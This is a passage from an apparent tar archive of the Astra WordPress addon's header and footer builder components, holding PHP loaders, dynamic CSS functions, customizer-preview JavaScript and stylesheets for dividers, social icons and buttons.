Localize variables for button JS. wp_localize_script( 'astra-ext-footer-button-customizer-preview-js', 'AstraAddonFooterButtonData', array( 'component_limit' => astra_addon_builder_helper()->component_limit, ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Ext_Footer_Button_Component_Loader(); builder/type/footer/divider/dynamic-css/dynamic.css.php 0000666 00000006313 15165730730 0017253 0 ustar 00 <?php /** * Divider control - Dynamic CSS * * @package Astra Builder * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Heading Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_footer_divider_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ function astra_addon_footer_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $dynamic_css .= Astra_Divider_Component_Dynamic_CSS::astra_divider_dynamic_css( 'footer' ); $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { if ( ! Astra_Addon_Builder_Helper::is_component_loaded( 'divider-' . $index, 'footer' ) ) { continue; } $_section = 'section-fb-divider-' . $index; $selector = '.footer-widget-area[data-section="section-fb-divider-' . $index . '"]'; $alignment = astra_get_option( 'footer-divider-' . $index . '-alignment' ); $desktop_alignment = ( isset( $alignment['desktop'] ) ) ? $alignment['desktop'] : 'center'; $tablet_alignment = ( isset( $alignment['tablet'] ) ) ? $alignment['tablet'] : ''; $mobile_alignment = ( isset( $alignment['mobile'] ) ) ? $alignment['mobile'] : ''; $margin = astra_get_option( $_section . '-margin' ); /** * Copyright CSS. */ $css_output_desktop = array( $selector => array( 'justify-content' => $desktop_alignment, 'margin-top' => astra_responsive_spacing( $margin, 'top', 'desktop' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'desktop' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'desktop' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'desktop' ), ), ); $css_output_tablet = array( $selector => array( 'justify-content' => $tablet_alignment, // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'tablet' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'tablet' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'tablet' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'tablet' ), ), ); $css_output_mobile = array( $selector => array( 'justify-content' => $mobile_alignment, // Margin CSS. 'margin-top' => astra_responsive_spacing( $margin, 'top', 'mobile' ), 'margin-bottom' => astra_responsive_spacing( $margin, 'bottom', 'mobile' ), 'margin-left' => astra_responsive_spacing( $margin, 'left', 'mobile' ), 'margin-right' => astra_responsive_spacing( $margin, 'right', 'mobile' ), ), ); /* Parse CSS from array() */ $css_output = astra_parse_css( $css_output_desktop ); $css_output .= astra_parse_css( $css_output_tablet, '', astra_addon_get_tablet_breakpoint() ); $css_output .= astra_parse_css( $css_output_mobile, '', astra_addon_get_mobile_breakpoint() ); $dynamic_css .= $css_output; } return $dynamic_css; } builder/type/footer/divider/assets/js/unminified/customizer-preview.js 0000666 00000004376 15165730730 0022412 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { var tablet_break_point = AstraBuilderDividerData.tablet_break_point || 768, mobile_break_point = AstraBuilderDividerData.mobile_break_point || 544; astra_builder_divider_css( 'footer', AstraBuilderDividerData.component_limit ); for( var index = 1; index <= AstraBuilderDividerData.component_limit ; index++ ) { (function( index ) { wp.customize( 'astra-settings[footer-divider-'+ index +'-alignment]', function( value ) { value.bind( function( alignment ) { var dynamicStyle = ''; if( alignment.desktop != '' || alignment.tablet != '' || alignment.mobile != '' ) { dynamicStyle += '.footer-widget-area[data-section="section-fb-divider-'+ index +'"] {'; dynamicStyle += 'justify-content: ' + alignment['desktop'] + ';'; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + tablet_break_point + 'px) {'; dynamicStyle += '.footer-widget-area[data-section="section-fb-divider-'+ index +'"] {'; dynamicStyle += 'justify-content: ' + alignment['tablet'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; dynamicStyle += '@media (max-width: ' + mobile_break_point + 'px) {'; dynamicStyle += '.footer-widget-area[data-section="section-fb-divider-'+ index +'"] {'; dynamicStyle += 'justify-content: ' + alignment['mobile'] + ';'; dynamicStyle += '} '; dynamicStyle += '} '; } astra_add_dynamic_css( 'footer-divider-'+ index +'-alignment', dynamicStyle ); } ); } ); })( index ); } } )( jQuery ); builder/type/footer/divider/assets/js/minified/customizer-preview.min.js 0000666 00000001550 15165730730 0022620 0 ustar 00 !function(){var a=AstraBuilderDividerData.tablet_break_point||768,o=AstraBuilderDividerData.mobile_break_point||544;astra_builder_divider_css("footer",AstraBuilderDividerData.component_limit);for(var t=1;t<=AstraBuilderDividerData.component_limit;t++)!function(e){wp.customize("astra-settings[footer-divider-"+e+"-alignment]",function(t){t.bind(function(t){var i="";""==t.desktop&&""==t.tablet&&""==t.mobile||(i=(i=(i=(i=(i=(i+='.footer-widget-area[data-section="section-fb-divider-'+e+'"] {')+"justify-content: "+t.desktop+";} ")+"@media (max-width: "+a+'px) {.footer-widget-area[data-section="section-fb-divider-'+e+'"] {')+"justify-content: "+t.tablet+";} ")+"} @media (max-width: "+o+"px) {")+'.footer-widget-area[data-section="section-fb-divider-'+e+'"] {justify-content: '+t.mobile+";} } "),astra_add_dynamic_css("footer-divider-"+e+"-alignment",i)})})}(t)}(jQuery); builder/type/footer/divider/classes/class-astra-footer-divider-component-loader.php 0000666 00000005726 15165730730 0024673 0 ustar 00 <?php /** * Divider Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Divider_Component_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.0.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.0.0 */ public function theme_defaults( $defaults ) { // Divider Footer defaults. $num_of_footer_divider = astra_addon_builder_helper()->num_of_footer_divider; for ( $index = 1; $index <= $num_of_footer_divider; $index++ ) { $defaults[ 'footer-divider-' . $index . '-layout' ] = 'horizontal'; $defaults[ 'footer-divider-' . $index . '-style' ] = 'solid'; $defaults[ 'footer-divider-' . $index . '-color' ] = ''; $defaults[ 'footer-divider-' . $index . '-size' ] = array( 'desktop' => '50', 'tablet' => '50', 'mobile' => '50', ); $defaults[ 'footer-vertical-divider-' . $index . '-size' ] = array( 'desktop' => '50', 'tablet' => '50', 'mobile' => '50', ); $defaults[ 'footer-divider-' . $index . '-thickness' ] = array( 'desktop' => '1', 'tablet' => '1', 'mobile' => '1', ); $defaults[ 'footer-divider-' . $index . '-alignment' ] = array( 'desktop' => 'center', 'tablet' => 'center', 'mobile' => 'center', ); } return $defaults; } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-footer-divider-customizer-preview-js', ASTRA_ADDON_FOOTER_DIVIDER_URI . 'assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'astra-customizer-preview-js' ), ASTRA_EXT_VER, true ); // Localize variables for divider JS. wp_localize_script( 'astra-footer-divider-customizer-preview-js', 'AstraBuilderDividerData', array( 'component_limit' => astra_addon_builder_helper()->component_limit, 'tablet_break_point' => astra_addon_get_tablet_breakpoint(), 'mobile_break_point' => astra_addon_get_mobile_breakpoint(), ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Footer_Divider_Component_Loader(); builder/type/footer/divider/class-astra-footer-divider-component-configs.php 0000666 00000002445 15165730730 0023413 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Divider_Component_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Divider_Component_Configs::register_configuration( $configurations, 'footer', 'section-fb-divider-' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Footer_Divider_Component_Configs(); builder/type/footer/divider/class-astra-footer-divider-component.php 0000666 00000002477 15165730730 0021772 0 ustar 00 <?php /** * Divider component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_FOOTER_DIVIDER_DIR', ASTRA_EXT_DIR . 'classes/builder/type/footer/divider/' ); define( 'ASTRA_ADDON_FOOTER_DIVIDER_URI', ASTRA_EXT_URI . 'classes/builder/type/footer/divider/' ); /** * Divider Initial Setup * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Divider_Component { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_FOOTER_DIVIDER_DIR . 'classes/class-astra-footer-divider-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_FOOTER_DIVIDER_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Footer_Divider_Component(); builder/type/footer/social-icon/classes/class-astra-footer-social-component-loader.php 0000666 00000004175 15165730730 0025266 0 ustar 00 <?php /** * Social Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Social_Component_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.0.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.0.0 */ public function theme_defaults( $defaults ) { $num_of_footer_social_icons = astra_addon_builder_helper()->num_of_footer_social_icons; // Divider footer defaults. for ( $index = 1; $index <= $num_of_footer_social_icons; $index++ ) { $defaults[ 'footer-social-' . $index . '-stack' ] = 'none'; } return $defaults; } /** * Customizer Preview * * @since 3.0.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-social-icon-addon-footer-customizer-preview-js', ASTRA_ADDON_FOOTER_SOCIAL_URI . '/assets/js/customizer-preview.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); // Localize variables for divider JS. wp_localize_script( 'astra-social-icon-addon-footer-customizer-preview-js', 'AstraBuilderSocialData', array( 'footer_social_count' => astra_addon_builder_helper()->num_of_footer_social_icons, ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Footer_Social_Component_Loader(); builder/type/footer/social-icon/dynamic-css/dynamic.css.php 0000666 00000001360 15165730730 0020022 0 ustar 00 <?php /** * Divider control - Dynamic CSS * * @package Astra Builder * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Heading Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_footer_social_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ function astra_addon_footer_social_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $dynamic_css .= Astra_Social_Icon_Component_Dynamic_CSS::astra_social_dynamic_css( 'footer' ); return $dynamic_css; } builder/type/footer/social-icon/class-astra-footer-social-component.php 0000666 00000002477 15165730730 0022370 0 ustar 00 <?php /** * HTML component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_FOOTER_SOCIAL_DIR', ASTRA_EXT_DIR . 'classes/builder/type/footer/social-icon/' ); define( 'ASTRA_ADDON_FOOTER_SOCIAL_URI', ASTRA_EXT_URI . 'classes/builder/type/footer/social-icon/' ); /** * Heading Initial Setup * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Social_Component { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_FOOTER_SOCIAL_DIR . 'classes/class-astra-footer-social-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_FOOTER_SOCIAL_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Footer_Social_Component(); builder/type/footer/social-icon/assets/scss/style.scss 0000666 00000000000 15165730730 0017164 0 ustar 00 builder/type/footer/social-icon/assets/css/unminified/style-rtl.css 0000666 00000001431 15165730730 0021555 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element { justify-content: center; } .ast-header-divider-element { position: relative; } .ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal { width: 100%; } .ast-fb-divider-layout-vertical .ast-divider-layout-vertical, .ast-fb-divider-layout-vertical .ast-divider-layout-horizontal { position: absolute; } .ast-hb-divider-layout-vertical.ast-header-divider-element { height: 100%; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { margin: 15px 20px; } builder/type/footer/social-icon/assets/css/unminified/style.css 0000666 00000001431 15165730730 0020756 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element { justify-content: center; } .ast-header-divider-element { position: relative; } .ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal { width: 100%; } .ast-fb-divider-layout-vertical .ast-divider-layout-vertical, .ast-fb-divider-layout-vertical .ast-divider-layout-horizontal { position: absolute; } .ast-hb-divider-layout-vertical.ast-header-divider-element { height: 100%; } /** Default Spacing for Mobile Header elements except Menu */ .ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element), .ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element) { margin: 15px 20px; } builder/type/footer/social-icon/assets/css/minified/style-rtl.min.css 0000666 00000001212 15165730730 0021771 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element{justify-content:center}.ast-header-divider-element{position:relative}.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal{width:100%}.ast-fb-divider-layout-vertical .ast-divider-layout-horizontal,.ast-fb-divider-layout-vertical .ast-divider-layout-vertical{position:absolute}.ast-hb-divider-layout-vertical.ast-header-divider-element{height:100%}.ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element),.ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element){margin:15px 20px} builder/type/footer/social-icon/assets/css/minified/style.min.css 0000666 00000001212 15165730730 0021172 0 ustar 00 .ast-mobile-popup-content .ast-header-divider-element{justify-content:center}.ast-header-divider-element{position:relative}.ast-hb-divider-layout-horizontal .ast-divider-layout-horizontal{width:100%}.ast-fb-divider-layout-vertical .ast-divider-layout-horizontal,.ast-fb-divider-layout-vertical .ast-divider-layout-vertical{position:absolute}.ast-hb-divider-layout-vertical.ast-header-divider-element{height:100%}.ast-mobile-header-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element),.ast-mobile-popup-content .ast-builder-layout-element:not(.ast-builder-menu):not(.ast-header-divider-element){margin:15px 20px} builder/type/footer/social-icon/assets/js/customizer-preview.js 0000666 00000000751 15165730730 0021026 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { astra_builder_addon_social_css( 'footer', AstraBuilderSocialData.footer_social_count ); } )( jQuery ); builder/type/footer/social-icon/class-astra-footer-social-component-configs.php 0000666 00000002447 15165730730 0024013 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.1.0 */ // @codingStandardsIgnoreStart class Astra_Footer_Social_Component_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Social_Component_Configs::register_configuration( $configurations, 'footer', 'section-fb-social-icons-' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Footer_Social_Component_Configs(); builder/type/header/button/dynamic-css/dynamic.css.php 0000666 00000001362 15165730730 0017071 0 ustar 00 <?php /** * Header Button Element - Dynamic CSS * * @package Astra Builder * @since 3.3.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Header Button Dynamic CSS */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_header_button_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return string Generated dynamic CSS * * @since 3.3.0 */ function astra_addon_header_button_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $dynamic_css .= Astra_Addon_Button_Component_Dynamic_CSS::astra_ext_button_dynamic_css( 'header' ); return $dynamic_css; } builder/type/header/button/class-astra-addon-header-button-component-configs.php 0000666 00000002237 15165730730 0024133 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.1.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.1.0 */ class Astra_Addon_Header_Button_Component_Configs extends Astra_Customizer_Config_Base { /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.1.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Addon_Button_Component_Configs::register_configuration( $configurations, 'header', 'section-hb-button-' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Addon_Header_Button_Component_Configs(); builder/type/header/button/assets/js/minified/customizer-preview.min.js 0000666 00000000123 15165730730 0022432 0 ustar 00 jQuery,astra_addon_button_css("header",AstraAddonHeaderButtonData.component_limit); builder/type/header/button/assets/js/unminified/customizer-preview.js 0000666 00000000737 15165730730 0022226 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { astra_addon_button_css( 'header', AstraAddonHeaderButtonData.component_limit ); } )( jQuery ); builder/type/header/button/class-astra-addon-header-button-component.php 0000666 00000002421 15165730730 0022500 0 ustar 00 <?php /** * Button component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_HEADER_BUTTON_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/button/' ); define( 'ASTRA_ADDON_HEADER_BUTTON_URI', ASTRA_EXT_URI . 'classes/builder/type/header/button/' ); /** * Button Initial Setup * * @since 3.1.0 */ class Astra_Addon_Header_Button_Component { /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_HEADER_BUTTON_DIR . 'classes/class-astra-addon-header-button-component-loader.php'; // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_HEADER_BUTTON_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Addon_Header_Button_Component(); builder/type/header/button/classes/class-astra-addon-header-button-component-loader.php 0000666 00000004506 15165730730 0025407 0 ustar 00 <?php /** * Button Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.1.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.1.0 */ class Astra_Addon_Header_Button_Component_Loader { /** * Constructor * * @since 3.1.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.1.0 */ public function theme_defaults( $defaults ) { // Button header defaults. $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $_prefix = 'button' . $index; $defaults[ 'header-' . $_prefix . '-size' ] = 'sm'; $defaults[ 'header-' . $_prefix . '-box-shadow-control' ] = array( 'x' => '0', 'y' => '0', 'blur' => '0', 'spread' => '0', ); $defaults[ 'header-' . $_prefix . '-box-shadow-color' ] = 'rgba(0,0,0,0.1)'; $defaults[ 'header-' . $_prefix . '-box-shadow-position' ] = 'outline'; } return $defaults; } /** * Customizer Preview * * @since 3.3.0 */ public function preview_scripts() { /** * Load unminified if SCRIPT_DEBUG is true. */ /* Directory and Extension */ $dir_name = ( SCRIPT_DEBUG ) ? 'unminified' : 'minified'; $file_prefix = ( SCRIPT_DEBUG ) ? '' : '.min'; wp_enqueue_script( 'astra-ext-header-button-customizer-preview-js', ASTRA_ADDON_HEADER_BUTTON_URI . '/assets/js/' . $dir_name . '/customizer-preview' . $file_prefix . '.js', array( 'customize-preview', 'ahfb-addon-base-customizer-preview' ), ASTRA_EXT_VER, true ); // Localize variables for button JS. wp_localize_script( 'astra-ext-header-button-customizer-preview-js', 'AstraAddonHeaderButtonData', array( 'component_limit' => astra_addon_builder_helper()->component_limit, ) ); } } /** * Kicking this off by creating the object of the class. */ new Astra_Addon_Header_Button_Component_Loader(); builder/type/header/divider/class-astra-header-divider-component.php 0000666 00000002476 15165730730 0021655 0 ustar 00 <?php /** * HTML component. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } define( 'ASTRA_ADDON_HEADER_DIVIDER_DIR', ASTRA_EXT_DIR . 'classes/builder/type/header/divider/' ); define( 'ASTRA_ADDON_HEADER_DIVIDER_URI', ASTRA_EXT_URI . 'classes/builder/type/header/divider/' ); /** * Heading Initial Setup * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Header_Divider_Component { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor function that initializes required actions and hooks */ public function __construct() { // @codingStandardsIgnoreStart WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound require_once ASTRA_ADDON_HEADER_DIVIDER_DIR . 'classes/class-astra-header-divider-component-loader.php'; // Include front end files. if ( ! is_admin() ) { require_once ASTRA_ADDON_HEADER_DIVIDER_DIR . 'dynamic-css/dynamic.css.php'; } // @codingStandardsIgnoreEnd WPThemeReview.CoreFunctionality.FileInclude.FileIncludeFound } } /** * Kicking this off by creating an object. */ new Astra_Header_Divider_Component(); builder/type/header/divider/class-astra-header-divider-component-configs.php 0000666 00000002445 15165730730 0023277 0 ustar 00 <?php /** * Astra Theme Customizer Configuration Builder. * * @package astra-builder * @link https://wpastra.com/ * @since 3.0.0 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { return; } /** * Register Builder Customizer Configurations. * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Header_Divider_Component_Configs extends Astra_Customizer_Config_Base { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Register Builder Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 3.0.0 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { $configurations = Astra_Divider_Component_Configs::register_configuration( $configurations, 'header', 'section-hb-divider-' ); return $configurations; } } /** * Kicking this off by creating object of this class. */ new Astra_Header_Divider_Component_Configs(); builder/type/header/divider/dynamic-css/dynamic.css.php 0000666 00000001357 15165730730 0017210 0 ustar 00 <?php /** * Divider control - Dynamic CSS * * @package Astra Builder * @since 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Heading Colors */ add_filter( 'astra_dynamic_theme_css', 'astra_addon_header_divider_dynamic_css' ); /** * Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @param string $dynamic_css_filtered Astra Dynamic CSS Filters. * @return String Generated dynamic CSS for Heading Colors. * * @since 3.0.0 */ function astra_addon_header_divider_dynamic_css( $dynamic_css, $dynamic_css_filtered = '' ) { $dynamic_css .= Astra_Divider_Component_Dynamic_CSS::astra_divider_dynamic_css( 'header' ); return $dynamic_css; } builder/type/header/divider/assets/js/unminified/customizer-preview.js 0000666 00000000727 15165730730 0022340 0 ustar 00 /** * This file adds some LIVE to the Customizer live preview. To leverage * this, set your custom settings to 'postMessage' and then add your handling * here. Your javascript should grab settings from customizer controls, and * then make any necessary changes to the page using jQuery. * * @package Astra Builder * @since x.x.x */ ( function( $ ) { astra_builder_divider_css( 'header', AstraBuilderDividerData.component_limit ); } )( jQuery ); builder/type/header/divider/assets/js/minified/customizer-preview.min.js 0000666 00000000123 15165730730 0022545 0 ustar 00 jQuery,astra_builder_divider_css("header",AstraBuilderDividerData.component_limit); builder/type/header/divider/classes/class-astra-header-divider-component-loader.php 0000666 00000005254 15165730730 0024553 0 ustar 00 <?php /** * Divider Styling Loader for Astra theme. * * @package Astra Builder * @link https://www.brainstormforce.com * @since Astra 3.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Customizer Initialization * * @since 3.0.0 */ // @codingStandardsIgnoreStart class Astra_Header_Divider_Component_Loader { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Constructor * * @since 3.0.0 */ public function __construct() { add_filter( 'astra_theme_defaults', array( $this, 'theme_defaults' ) ); add_action( 'customize_preview_init', array( $this, 'preview_scripts' ), 110 ); } /** * Default customizer configs. * * @param array $defaults Astra options default value array. * * @since 3.0.0 */ public function theme_defaults( $defaults ) { // Divider header defaults. $component_limit = astra_addon_builder_helper()->component_limit; for ( $index = 1; $index <= $component_limit; $index++ ) { $defaults[ 'header-divider-' . $index . '-layout' ] = 'vertical'; $defaults[ 'header-divider-' . $index . '-style' ] = 'solid'; $defaults[ 'header-divider-' . $index . '-color' 